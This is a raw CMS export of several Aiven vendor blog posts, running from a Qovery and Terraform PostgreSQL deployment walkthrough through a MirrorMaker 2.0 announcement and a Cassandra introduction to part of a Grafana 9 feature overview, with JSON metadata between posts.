AWS.](https://cdn.sanity.io/images/sczeoy4w/production/f4df061c355c6ccde035f3aa79e4b828fa21134a-3840x2160.png)\n\nIn the diagram above, we have three main components: Qovery, Aiven, and our AWS account. It's important to note that Qovery deploys containerized apps on your AWS account rather than on a separate hosting platform (read how to create an AWS account). Meanwhile, Aiven uses its own AWS account to deploy and manage the PostgreSQL instance they provide to you.\n\nIn the Qovery environment, we define two services: our Aiven for PostgreSQL instance with a Terraform script and our to-do app with a Dockerfile. Both of these services come from GitHub repositories, and Qovery can build and execute them in the correct order. The Aiven for PostgreSQL service is deployed first, and then the to-do app service.\n\nIt looks like this from the Qovery web interface: \n\n![screenshot of the qovery web interface](https://cdn.sanity.io/images/sczeoy4w/production/3301bf9e3bc0f0a4924fc9d73ea23e490ef6a753-1976x1280.png)\n\nThis is what our [Terraform script](https://github.com/evoxmusic/aiven-qovery-lifecycle/blob/main/main.tf) looks like:\n\n```yaml\n#main.tf\n\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"~\u003e 3.9.0\"\n }\n }\n\n backend \"s3\" {}\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n\nresource \"aiven_pg\" \"pg_instance\" {\n project = var.aiven_project_name\n cloud_name = \"aws-us-east-2\"\n plan = \"startup-4\"\n # make the service name unique by adding a suffix based on the first digit of the Qovery environment ID\n service_name = \"pg-${split(\"-\", var.qovery_environment_id)[0]}\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_pg_database\" \"pg_database\" {\n database_name = var.aiven_database_name\n project = var.aiven_project_name\n service_name = aiven_pg.pg_instance.service_name\n} \n\n```\n\nYou can see it’s a vanilla Terraform script with the [Aiven Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) module that it’s quite nice and straightforward to use. \n\nAt this point, you might wonder how to connect our to-do app to Aiven for PostgreSQL. If you are familiar with Terraform, you know that some variables are only known post-execution of our manifest. Qovery supports Terraform output values out of the box. \n\nHere are our [outputs](https://github.com/evoxmusic/aiven-qovery-lifecycle/blob/main/outputs.tf):\n\n```yaml\noutput \"postgres_host\" {\n description = \"The Aiven PG connection host\"\n value = aiven_pg.pg_instance.service_host\n}\n\noutput \"postgres_port\" {\n description = \"The Aiven PG connection port\"\n value = tostring(aiven_pg.pg_instance.service_port)\n}\n\noutput \"postgres_user\" {\n description = \"The Aiven PG username\"\n value = aiven_pg.pg_instance.service_username\n}\n\noutput \"postgres_db_name\" {\n description = \"The Aiven PG database name\"\n value = aiven_pg_database.pg_database.database_name\n}\n\noutput \"postgres_password\" {\n description = \"The Aiven PG password\"\n value = aiven_pg.pg_instance.service_password\n sensitive = true\n}\n```\n\nSo Qovery can inject those values as environment variables to our to-do application when known. \n\n![diagram showing the new setup managed by Qovery](https://cdn.sanity.io/images/sczeoy4w/production/2cde657dede080bd448c0faec22ad437d5a7c416-3840x2160.png)\n\nNo magic! It simply works and it’s awesome. \n\n![Screenshot of Qovery's updated UI showing managed services](https://cdn.sanity.io/images/sczeoy4w/production/fc82752e4aa198cf51cb44952657d5ef7e954d85-1874x1212.png)\n\nIf we look at our Aiven web console, we can see that our PostgreSQL database is also running properly.\n\n![A screenshot of Aiven's console with a running PostgreSQL instance](https://cdn.sanity.io/images/sczeoy4w/production/42fcd5de2726379ffc475479043c7ecd477a348b-1872x1210.png)\n\n## Multiple Environments with Aiven and Qovery\n\nWith Qovery, you can easily create multiple environments and avoid the issues that arise with a shared staging environment. In traditional development environments, developers may have to share a single staging environment, which can lead to \"staging starvation.\" If the environment is broken or unavailable, it affects all developers, slowing down the entire development process.\n\n![Diagram showing that if staging is broken all your developers can't access their work](https://cdn.sanity.io/images/sczeoy4w/production/8748d27da079019cf74a8372aa06f7b9eb5447ba-1870x936.png)\n\nQovery solves this problem by providing an efficient way to create multiple on-demand staging environments. Each developer can have their own staging environment, which is a replica of the production environment. This enables developers to test their code in an isolated and safe environment.\n\n![Diagram showing how Qovery spins up a staging environment per-developer which unblocks all the developers on your team](https://cdn.sanity.io/images/sczeoy4w/production/8b80b73efd5be62a2956d68641d78de4ead52a04-1868x972.png)\n\nThe power of Qovery doesn't stop there. When cloning an environment, all services included in the environment are duplicated. This means that your Aiven for PostgreSQL instance is also duplicated, and all the data from the original instance is available in the cloned instance. This ensures that your cloned environment has the same data as the original environment, making it easy to test your changes without affecting the production environment.\nWhat about the data? You can clone the data if needed. Aiven provides everything you need to make it a breeze. \n\n## Conclusion\n\nIn this article, we've explored the benefits of using Aiven in combination with Qovery to accelerate development workflows and facilitate the creation of preview environments. By leveraging Qovery's lifecycle jobs and multiple environments, developers can enjoy a streamlined experience that speeds up development cycles and eliminates the traditional staging starvation problem.\n\nFurthermore, the ease of integrating Aiven for PostgreSQL with Qovery showcases the power of combining best-in-class solutions for creating a truly robust and efficient development environment. And as we've seen, this combination is incredibly flexible and can be adapted to suit the unique needs of individual teams.\n\nWe hope this article has provided a useful overview of how Aiven and Qovery can work together. We're excited to continue collaborating with Sebastien and the Aiven team to explore other use cases, such as integrating [Apache Kafka](https://aiven.io/kafka).\n\nStay tuned for our next collaboration!\n\n## Further reading\n\n- [The GitHub repository for this article](https://github.com/evoxmusic/aiven-qovery-lifecycle)\n- [The GitHub repository for the TODO app](https://github.com/evoxmusic/todo-demo-app)\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)\n\n\n\n","categories":[{"_key":"28c29db0374d","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8f22927ab7df","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-6ee47cf892bef21ebfdc9021bcd99a36171effcb-1567x844-png","_type":"reference"}},"publishedAt":"2023-03-30T08:28:00.000Z","related":[{"_key":"bd89223e0f9e","_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"},{"_key":"fac0ec034f94","_ref":"1CuVhL1qTea2bGbOOf2mOS","_type":"reference"},{"_key":"c04e9540410c","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Find out how Aiven for PostgreSQL® and Qovery work together so you can streamline your app development and deployment on AWS.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c73aa7c9614616a6e110a310512dabf405ca048e-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/end-to-end-managed-development-pipelines-with-aiven-and-qovery"},"subtitle":"Deploy your environments in a repeatable, secure way with Aiven and Qovery!","title":"End to end managed development pipelines with Aiven and Qovery"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6EqvwCIWpeDp6kiGSyk4ou","_rev":"AUoLUkEDo6CVeRx5sqcCD5","_type":"post","_updatedAt":"2024-02-09T10:11:27Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"At Aiven, we strive to give our customers reliable, convenient, and responsive data tools. Many customers already enjoy our [managed Apache Kafka®](https://aiven.io/kafka) solution along with Apache Kafka Connect® as a service. Now, we are happy to announce that we’re providing Apache Kafka MirrorMaker® 2.0 as a managed service.\n\nMirrorMaker 2.0 is the most robust solution for data replication between Apache Kafka clusters. By deploying it as a stand-alone service, you can free your replication workloads from others — this means that you can better allocate cluster resources and scale your processing workloads.\n\nIn this post, we’ll discuss \n- the Apache Kafka MirrorMaker 2.0 key features included in our managed service\n- the metrics you can get from your MirrorMaker clusters with our native metrics integration, and\n- what’s in store for the future.\n\n## Key features of MirrorMaker 2.0\n\nMirrorMaker has been around for many years and is widely used. The Apache Kafka community has been aware of its downsides and limitations since, as well as the attempts to fix them with other replication tools. With version 2.4, MirrorMaker 2.0 (following [KIP-382: MirrorMaker 2.0](https://cwiki.apache.org/confluence/display/KAFKA/KIP-382%253A%2BMirrorMaker%2B2.0)) was added to Apache Kafka.\n\nMirrormaker 2.0 is new and improved:\n\n- Preserved offset mappings between clusters. This means tooling for nearly transparent consumer migration is possible — critical for disaster recovery fail-over.\n- Topic configuration is now synchronized from source to target clusters — removing the need for external tools.\n- Record partitions are now preserved during the replication process.\n- The ability to run multiple replication flows for a single MirrorMaker cluster and the prevention of replication cycles — allowing for complex replication topologies.\n- Increased reliability, scalability and performance by leveraging the Kafka Connect framework.\n\n## Aiven support for MirrorMaker 2.0\n\nAiven supports MirrorMaker 2 with the Console UI, Aiven command line client, and Aiven Terraform provider.\n\n![Console Screenshot mirroraker replication flow overview](//cdn.sanity.io/images/sczeoy4w/production/96e6999fd50394bec1a66296f37b44b138ed0f6e-1260x672.png)\n\nNote, though, that you need Aiven for Apache Kafka to run Aiven for MirrorMaker2; you can't use it with your self-hosted Apache Kafka setup.\n\n## Aiven metrics integration for MirrorMaker 2.0\n\nTo get the most out of your Aiven for MirrorMaker 2 cluster, we’re also providing access to a metrics integration with built-in dashboards to monitor a host of metrics related to replication, such as replication lag and replication latency.\n\n![Aiven metrics integration with built-in monitoring](//cdn.sanity.io/images/sczeoy4w/production/5cdb0425df7de69abee2f743739761770561d7b3-1001x266.png)\n\nThe replication flow metrics run by MirrorMaker 2.0 are collected and visualized in [Grafana.](https://aiven.io/grafana)\n\n## Getting started with MirrorMaker 2.0\n\nGo to the Aiven Console, Terraform provider, REST API, or CLI and launch a MirrorMaker cluster. Then tie it to your source and target clusters through an integration workflow.\n\nFor more information about the finer points of setting up your first replication workflow, see this [help article.](https://help.aiven.io/en/articles/3992671-getting-started-with-kafka-mirrormaker) \n\n## Wrapping up\n\n[Aiven for Apache Kafka MirrorMaker 2.0](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) will allow Aiven users to seamlessly copy data between Apache Kafka clusters faster than ever! To get more information, go to our [Aiven for Apache Kafka product page](https://aiven.io/kafka). \n\n--\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844-png","_type":"reference"}},"publishedAt":"2020-06-24T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven now provides Apache Kafka MirrorMaker® 2.0 as a managed service | Learn about its key features, important metrics and plans for the future in our blog.","metaImage":{"alt":"","asset":{"_ref":"image-070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844-png","_type":"reference"}},"metaTitle":"Aiven now offers Apache Kafka MirrorMaker® 2.0 as a service"},"slug":{"_type":"slug","current":"/blog/aiven-now-supports-kafka-mirrormaker-2"},"subtitle":"We now do MirrorMaker! And it's great.","title":"Aiven now offers Apache Kafka MirrorMaker® 2.0 as a service"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6ZDXHjT69kyBI80TVQmyE8","_rev":"neae7oL4y1FotDvvRLK8cx","_type":"post","_updatedAt":"2024-07-11T12:36:47Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Apache Cassandra® is a popular wide column data store that can quickly ingest and process massive amounts of data. \n\nLet’s say you are considering a [data storage solution](https://aiven.io/blog/the-data-continuum-examined) for an IoT or application event load. You’ll have a few questions: _How to store all of your data with its variable event length? And how to query your massive, fast-growing dataset for immediate insights and iterative, perpetual improvements?_\n\nThese things require a **distributed** data store that can accomodate evolving and variable-length records, at massive scale and ingest velocity, employing built in fault-tolerance and availability, with high write speeds and decent read speeds. And this data must be manageable with a query language everyone already understands.\n\nEnter [Apache Cassandra](https://cassandra.apache.org/_/index.html).\n\nIn today’s information age, billions of connected devices and digital environments continually stream and store data. From smartphones and laptops, web browsers and applications, to smart appliances, infrastructure controls and sensors — all of these devices generate data.\n\nEvery bit of generated data is created to be collected, stored, refined, queried, analyzed and operationalized for the purpose of continuous improvement: perpetually and iteratively providing better, safer and more efficient products, processes and services.\n\nData generation is endless, and that data, when stored, grows exponentially. As long as users continue to use digital products, and as long as digital products remain connected to networks, they’ll continue to.\n\n\u003e But as long as IoT networks grow asymmetrically, by adding different kinds and versions of devices, that data won’t always look the same.\n\nWide column stores like Apache Cassandra were developed to help organizations regain a semblance of control over these massive, exponentially-growing amounts of constantly transforming data.\n\nIn this article, we’ll look at what Apache Cassandra is, what’s special about it, and how it distributes and stores data. We’ll consider why consistency and availability (read: _performance_) are core tradeoffs, consider what scenarios are best (or not), and review some use-cases. Finally, we’ll look at how easy it is to set up this [NoSQL database](https://en.wikipedia.org/wiki/NoSQL) with Aiven.\n\n## What is Apache Cassandra?\n\nApache Cassandra is an open-source, NoSQL, wide column data store that can quickly ingest and process massive amounts of data. It’s also _decentralized_, _distributed_, _scalable_, _highly available_, _fault-tolerant_ and _tuneably consistent_, with identical nodes clustered together to eliminate single points of failure and bottlenecks(we’ll go over each of those terms later). You can deploy Cassandra on-premise, in the cloud or in a hybrid data environment.\n\n![image showing the data continuum from unstructured to structured with Cassandra highlighted](https://cdn.sanity.io/images/sczeoy4w/production/516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png)\n\nOriginally designed for Facebook inbox searching, Cassandra is used today by CERN, GitHub, Apple, Netflix, and countless other organizations. It’s extremely well suited for managing large amounts of _semi-variable but structured data_ (from sensors, connected appliances and applications) for analytics, event logging, monitoring, and eCommerce purposes, particularly when high write speeds are needed.\n\n## So what's so special about it?\nIn order to understand the unique value add that Apache Cassandra provides, it’s useful to look at those terms we’ve used to describe it.\n\n* **Decentralized** means there’s no master-slave paradigm, and each separate node is capable of presenting itself to any end-user or client as a complete or partial replica of the database.\n\n* **Distributed** means that Cassandra adds the most value when it is distributed across many nodes and even data centers.\n\n* **Scalable** means that Cassandra can be easily scaled horizontally, by adding more nodes (machines) to the cluster, without disrupting your read and write workflow.\n\n\u003e This is one of the best features of Cassandra: each node communicates with a constant amount of other nodes, allowing you to scale linearly over a huge number of nodes.\n\n* **Highly Available** means that your data store is _fault-tolerant_ and your data remains available, even if one or several nodes and data centers go down.\n\n* **Tunably Consistent** means that it is possible to adjust the tradeoff between _availability_ and _consistency_ of data on Cassandra nodes, typically by configuring ```replication factor``` and ```consistency level``` settings.\n\n\u003e In practice, this really means a tradeoff between _consistency_ and _performance_. For example, if you were to set ```consistency level``` to ```3``` on a 3-node cluster, it would require at least all three nodes to be in agreement. For this cluster, this would be the slowest throughput in favor of maximum consistency.\n\n## How Apache Cassandra distributes data\n\nCasandra uses a peer-to-peer distribution model, which enables it to fully distribute data in the form of variable-length rows, stored by _partition keys_. This happens across different cloud availability zones and multiple data centers. Cassandra is built for scalability, continuous availability, and has no single point of failure.\n\nMany databases, such as Postgres, use a [master-slave replication model](https://www.enterprisedb.com/products/replication-server-single-multi-master-mode-postgresql), in which the writes go to a master node and reads are executed on slaves. Unfortunately, the master-slave hierarchy often creates bottlenecks. To provide high availability, fault tolerance and scalability, Cassandra’s peer-to-peer cluster architecture provides nodes with open channels of communication.\n\nCassandra uses _tokens_ to determine which node holds what data. A token is a 64-bit integer, and Cassandra assigns ranges of these tokens to nodes so that each possible token is owned by a node. Adding more nodes to the cluster, or removing old ones leads to redistributing these token ranges among nodes.\n\n![image conceptualizing how tokens are distributed across a node](https://cdn.sanity.io/images/sczeoy4w/production/b60479035b520bb4f8dfb13866b62bafb5734776-2000x1371.png)\n\n[Source](https://docs.scylladb.com/architecture/ringarchitecture/)\n\n\u003e In practice, however, tokens are not assigned from the values 1-1200, but are rather assigned from the range between the minimum and maximum signed 64-bit integers.\n\nA row's partition key is used to calculate a token using a given _partitioner_ (a hash function for computing the token of a partition key) to determine which node owns that row. That's how Cassandra finds where the replicas are which hold that data.\n\n### The wide-column store, and how data is modelled\nCassandra exposes a dialect similar to SQL called _CQL_ for its Data definition language (DDL) and data manipulation language (DML). While similar to SQL, there is a notable omission: Apache Cassandra does not support ```join``` operations or subqueries.\n\nApache Cassandra lets you ingest variable-length events into rows. It all starts with how the data is modeled in CQL:\n\n```\nCREATE TABLE users (\n name text,\n address text,\n phone text,\n mobile text,\n shoe_size int,\n favorite_color text,\n PRIMARY KEY (NAME)\n);\n```\nUp front, the schema is actually predefined and static. The schema for Cassandra tables needs to be designed with query patterns in mind ahead of time, so structural changes to data in real-time are not necessarily trivial with Cassandra (we’ll look at ways to do this later).\n\n\u003e Previously tables in Cassandra were referred to as _column families_.\n\nHere's what that populated table could look like:\n\n![image illustrating variable-length populated rows in a Cassandra tabl](https://cdn.sanity.io/images/sczeoy4w/production/03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png)\n\n**NOTE:** in a wide-column store, each row in a table _appears to_ contain _all_ columns. But only some need to be populated. The rest can be filled with NULL values during an insert operation, as we’ll see later.\n\nThe variable width of rows concept is what some argue enables flexibility in terms of the events it can store: one event (row) can have columns ```name (string)```, ```address (string)```, and ```phone (string)```, with the next event having ```name (string)```, ```shoe_size (int)```, and ```favorite_color (string)```. Both events can be stored as rows in the same table.\n\nHow is this possible? Because in a wide-column store like Cassandra, different rows in the same table may appear to contain different populated columns.\n\n\u003e Actually, Cassandra doesn’t really have a _full_ row in storage that would match the schema. Instead, Cassandra stores _mutations_; the rows an end user sees are a result of merging all the different mutations associated with a specific partition key. _Merging_ is the process of combining mutations to produce an end result row.\n\nRows are accessed by partition key and stored within a table; as shown above, rows are searched and accessed by the partition key. The partition key is a hash that tells you on which replica and shard the row is to be located.\n\nNow that we know how data is modelled, populated and distributed in Apache Cassandra, let’s look at another problem: how data is added, read and deleted from Cassandra.\n\n### How data is added to Cassandra\nDuring an update operation, values are specified and overwritten for specific columns; the values of the remaining columns in the row should be what was there, if anything, before the update.\n\nAs events are ingested, they can not freely add unstructured data or random data types as new columns to new rows on the fly. Rather, they require one of two things:\n\n* Columns already exist in the schema -- unused columns in new rows are populated with ```NULL``` values during an ```insert``` operation;\n\n* Applications can dynamically run ```alter table``` commands to add new columns to the schema.\n\n### How data is read from Cassandra\nWhen a client selects a row with a ```select``` statement, all the mutations of the row are gathered and applied in order of their timestamps. If an ```insert``` happens first, and is followed by an ```update```, then the resulting row is the ```insert``` mutation columns with the ```update``` overwriting the values for columns it contains. On the other hand, if an ```update``` is followed by an ```insert```, then the ```insert``` overwrites all the columns from the updated row.\n\n### How data is deleted from Cassandra\nA ```delete``` in Cassandra creates a mutation called a _tombstone_, which marks the partition key as deleted, and suppresses associated data in _SSTables_ (discussed below). The process of _compaction_, which happens periodically, is what permanently removes this suppressed data and effectively defragments the remaining lot, improving read performance.\n\n### How data is organized for scale and asymmetry\nAs mentioned earlier, Cassandra uses a _table_ to organize data. Cassandra uses them to define what types of data can be partitioned together and organizes that data into rows. When machines are added or removed from a cluster, Cassandra will automatically repartition according to the configuration (partition keys) of the table.\n\n### How data is replicated for fault tolerance\nCassandra automatically replicates data to multiple nodes and across multiple data centers to create high fault tolerance and ensure zero data loss. To enable fast performance, Cassandra stores writes into a memory-volatile table structure called a _memtable_.\n\n### How data is cached for speed and stored for persistence\nOnce a memtable is full, Cassandra flushes the writes into a static storage called an _SSTable_. SSTables are immutable and cannot be written to again after the associated memtable is flushed. To keep flushing to a minimum — and writes at high speed — Cassandra also appends memtable writes to a _[Commit Log](https://stackoverflow.com/questions/34592948/what-is-the-purpose-of-cassandras-commit-log)_.\n\n![image illustrating relations between memtable, SSTables, memory and disk in Cassandra writes](https://cdn.sanity.io/images/sczeoy4w/production/7968be9d515f3a268d71480511ebf185f37aabb7-1999x1489.png)\n\n[source](https://medium.com/linagora-engineering/tunning-cassandra-performances-7d8fa31627e3)\n\n### How it all ties together\nIt's these mechanisms combined that allow Cassandra to have excellent write performance. Even when the consistency level is low, two nodes can hold different versions of the same row separately, and resolve the conflict during a read operation by simply picking the version on the node with the newer timestamp.\n\nCassandra is scalable and elastic, allowing the addition of new machines to increase throughput without downtime. When a master node shuts down in databases that operate on the master-slave architecture, the database can’t process new writes until a new master is appointed. In such cases, Cassandra, which doesn’t rely on a master-slave architecture, can simply redirect writes to any available node, without shutting down the system.\n\n## Can Apache Cassandra provide consistency?\nAccording to Dr. E. A. Brewer, distributed data stores can fulfill only two of the three [CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem) functions simultaneously. When pressed to choose between _consistency_, _availability_ and _partition tolerance_, data professionals were left with no choice but to prioritize partition over consistency — you simply can’t have distributed databases without partitioning.\n\nWhile many data stores enforce their own setup of the CAP Theorem, Cassandra lets you choose your own preferred functions. However, as time moves on, the understanding of this tradeoff [continues to evolve](https://martin.kleppmann.com/2015/05/11/please-stop-calling-databases-cp-or-ap.html).\n\nCassandra’s _Tunable Consistency_ allows you to decide what is more important to you, on a per-query level, by instructing Cassandra on how to handle any write and read request.\n\nThe _consistency level_ you configure will define when clients are acknowledged, while the default configuration of the _replication factor_ will ensure that writes are always sent to all replicas.\nFor example, you can configure how Cassandra handles read requests according to your preferred level of consistency:\n\n* **High stale data potential (low consistency level)** — you can risk the return of stale data by configuring Cassandra to wait for any available node. This could potentially return an out-of-date replica, but conflicts are resolved by picking the replica with the latest timestamp. This allows for the fastest query completion.\n\u003cbr/\u003e\n* **Medium stale data potential (medium consistency level)** — to reduce the probability of getting stale data while compromising on query speed, you can instruct Cassandra to reach a quorum of nodes.\n\u003cbr/\u003e\n* **Strong data consistency (high consistency level)** — if you ask Cassandra to wait for every node, you will get strong consistency, in which Cassandra always returns the latest data.\n\nBut you will experience other performance impacts as a result: full consistency takes longer and you will compromise performance: it will take longer to query results containing new data until every node’s data is updated.\n\n## Some considerations of Apache Cassandra\nAs in any piece of software, Cassandra has its shortcomings. One notable disadvantage is its slow process for reads.\n\n\u003e Scylla, which is based on Cassandra but coded natively (Cassandra runs in a JVM) has attempted to resolve these issues.\n\nIn Cassandra, schema and data types must be defined at design time, complicating the planning process and limiting your ability to modify schema or add additional data types later on. This, as explained earlier, can have an impact on your ability to manage fast-streaming, dynamic data.\n\nCassandra has no built-in aggregation functionality, and data grouping must be pre-computed manually. If you’re running a very small dataset, consider another solution. The same goes if you were to only require a single-node solution; the only _real_ benefits of Cassandra are when data is distributed across multiple nodes.\n\nCassandra uses a low-level [data model](https://tech.ebayinc.com/engineering/cassandra-data-modeling-best-practices-part-2/), which requires extensive knowledge of the dataset, making it a less optimal choice if you need application transparency. Cassandra adds further complexities by using CQL, a proprietary language, which provides no ```join``` or subquery support. Ordering is done per partition at table creation time to enforce efficient application design, and you can only run queries for keys and indexes.\n\nIn Cassandra, the amount of data that can be stored per partition is limited to the size of the smallest machine in the cluster. Column values are limited in size to 2GB but lack of streaming or random access of blob values limits this more practically to under 10 MBs.\n\nCollection values are limited to 64KB and the maximum number of cells in a single partition is 2 billion. Appending new rows to a table is just what Cassandra is intended for. Nonetheless, If you were to need to overwrite existing rows with new rows on a regular basis, Cassandra is not the right solution for you.\n\n## Use cases for Apache Cassandra\nImagine the following scenario: You’re an assembly line foreman with an evolving IoT environment. As your operations grow, you need to expand the monitoring and control of your production line. To start iterative improvements, you add temperature sensors to the assembly line to log temperature events as time series data.\n\nNext, you add time stamped pressure sensor readings. Eventually, outputs from proximity sensors to monitor component placement are added and calibrated. Finally, level sensors — to monitor device fluid capacity — are added to the mix.\n\nAll events must be time-synced and correlated. But as your process is tuned, and each sensor calibrated, they are gradually replaced with different variants of sensors. This process introduces quite a bit of variability in your collected data schema, types and the data itself.\n\nOnce your assembly line is optimized, you’re running in the millions. All that time, your sensor stats and output data were continually tweaked and refined with values added and removed. All while you collected, analyzed and operationalized your massively growing, fast-moving dataset.\n\nAs it turns out, Cassandra is a popular solution for those looking for high performance on large datasets, including use cases such as storing multivariate time-series data such as logs and IoT sensor data.\n\nThe fast write capabilities of Cassandra would, for example, also make it ideal for tracking huge amounts of data from health trackers, purchases, watched movies and test scores. And there are still many using it for tracking web activity, cookies and web application data.\n\nIf you’re interested in big data analysis for messaging applications, you can use Cassandra while ensuring continuity — there will be zero downtime. Cassandra’s scalability and partitioning techniques can even turn it into a secure, stable, and cost-effective environment for fraud detection.\n\n## Setting it up\n[Aiven Cassandra](https://aiven.io/cassandra) is a fully managed and hosted Apache Cassandra service which provides high-availability, scalability, and state-of-the-art fault tolerance. It's easy to set up, either straight from the [Aiven Console](https://console.aiven.io):\n\nDirectly from the [command line](https://aiven.io/blog/command-line-magic-with-the-aiven-cli#doing-services) or using our [REST API](https://api.aiven.io/doc/#api-Service-ServiceCreate).\n\n## Wrapping up\nCassandra is an excellent choice if you need a massively scalable NoSQL database to handle big data workloads streaming variable-length events, provided all columns were specified when the table was created (or use of the ```alter-table``` command).\n\nIt provides robust capabilities that can help you set up a fast, efficient and automatic system for processing logging, tracking, and usage data. You can configure Cassandra according to the needs of your organization, and according to the specs of any given project.\n\nIn this article, we’ve looked at Apache Cassandra: what it is, what’s special about it, and how it distributes and stores data. We’ve also considered consistency and availability as core tradeoffs, looked at shortcomings and use-cases, and how to set it up as an Aiven service.\n\nIf you'd like to see Aiven Cassandra in action, [check it out with our no commitment, 30-day trial](https://console.aiven.io/signup), or [find out more on its product page](https://aiven.io/cassandra)!\n\n## References\n[Cassandra, The Definitive Guide](https://www.oreilly.com/library/view/cassandra-the-definitive/9781449399764/)\n\nThanks also to Gilad Maayan and Ilai Bavati for their contributions to this article, and Mathias Fröjdman for his explanations.\n\n## Further reading\n\n- [Migrate your Apache Cassandra® data into Aiven with sstableloader](https://aiven.io/blog/aiven-now-supports-sstableloader)\n","categories":[{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1b2975474525248f42112b6f69072ab788dff026-1567x844-png","_type":"reference"}},"publishedAt":"2019-07-22T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Cassandra is a wide column data store. Join as as we explain what that means, and cover the high and the low of this open source database.","metaImage":{"alt":"","asset":{"_ref":"image-1b2975474525248f42112b6f69072ab788dff026-1567x844-png","_type":"reference"}},"metaTitle":"An introduction to Apache Cassandra®"},"slug":{"_type":"slug","current":"/blog/an-introduction-to-apache-cassandra"},"subtitle":"What exactly is a wide column data store? We take a close look at Cassandra, and cover the ins and outs of this open source database.","title":"An introduction to Apache Cassandra®"} {"__i18n_lang":"en","_createdAt":"2022-10-17T07:03:52Z","_id":"c9fb1065-9cdd-4552-addb-b4f76b92901e","_rev":"aqN8LslQ3cZYmtCXIrHgIx","_type":"post","_updatedAt":"2024-02-07T13:06:41Z","authors":[{"_key":"33fc60310cd9","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"With our commitment to open source, Aiven always strives to bring the best open-source tools to our customers. We believe that Grafana® 9 is the best open-source visualization technology to date.\n\nThe new Grafana release brings a wealth of new capabilities, such as:\n\n- Prometheus query builder\n- Improved User Interface\n- New heatmap model \n\nGrafana 9 simplifies your monitoring process tremendously. \n\n## New and updated features\n\n### Prometheus query builder\nPrometheus is a technology agent widely used to pull metrics from different sources. At Aiven, we also use it for our [Metrics integration solution](https://aiven.io/integrations-and-connectors). PromQL is not the easiest language, however, and has a steep learning curve. Grafana 9 tackles this problem by bringing the PromQL query builder into the picture. \n\n![Prom query builder from Grafana 9](https://cdn.sanity.io/images/sczeoy4w/production/630c588249e963c2174dfd4770a10dfb636877a7-1454x654.png)\n\nThis is how PromQL query builder makes your life easier:\n\n- Enables you to select and search multiple metrics and labels at the same time.\n- Helps you clearly define different operations and aggregations that are ongoing within the same query. \n\nPromQL query builder also keeps the code-based user interface for those hard-core developers.\n\n\n### New heatmap panel\nTime series data is an essential part of monitoring and observability. It carries crucial information about your services throughout a given period of time and gives you insights into how your services performed. The heatmap in Grafana helps to visualize the massive amounts of time series data as a histogram.\n\n![Heatmap in Grafana 9](https://cdn.sanity.io/images/sczeoy4w/production/302997d9a46e2e391b43fb9020deded306c9ca84-1286x614.png)\n\nIn Grafana 9, the way heatmaps are displayed has been revamped. The new heatmap panel brings multiple new features:\n\n- Exemplars (traces) overlay to help isolate data distribution problems\n- Prometheus sparse histograms to enhance data analysis when creating separate buckets would not be feasible\n- Customization for the number of colors shown, reflecting the granularity \n- Smarter automatic bucket sizing for unbucketed data\n- Can filter out bucket values close to but not exactly zero\n\nIn addition, the new heatmap is several orders of magnitude faster than the old one.\n\n### Improved user interface\n\n#### Dashboard previews\nDashboard previews is a new enhancement coming to live in Grafana 9. Instead of relying on Title name, customers can now have a graphical representation of their dashboard to better differentiate between multiple dashboards. \n\nThis feature is available as an opt-in feature in Aiven Console for Grafana service, under “Advanced Configuration”.\n\n#### Panel title search\nAn improved search capability for your list of panels. This feature is also enabled as an opt-in feature in Aiven Console for Grafana service, under “Advanced 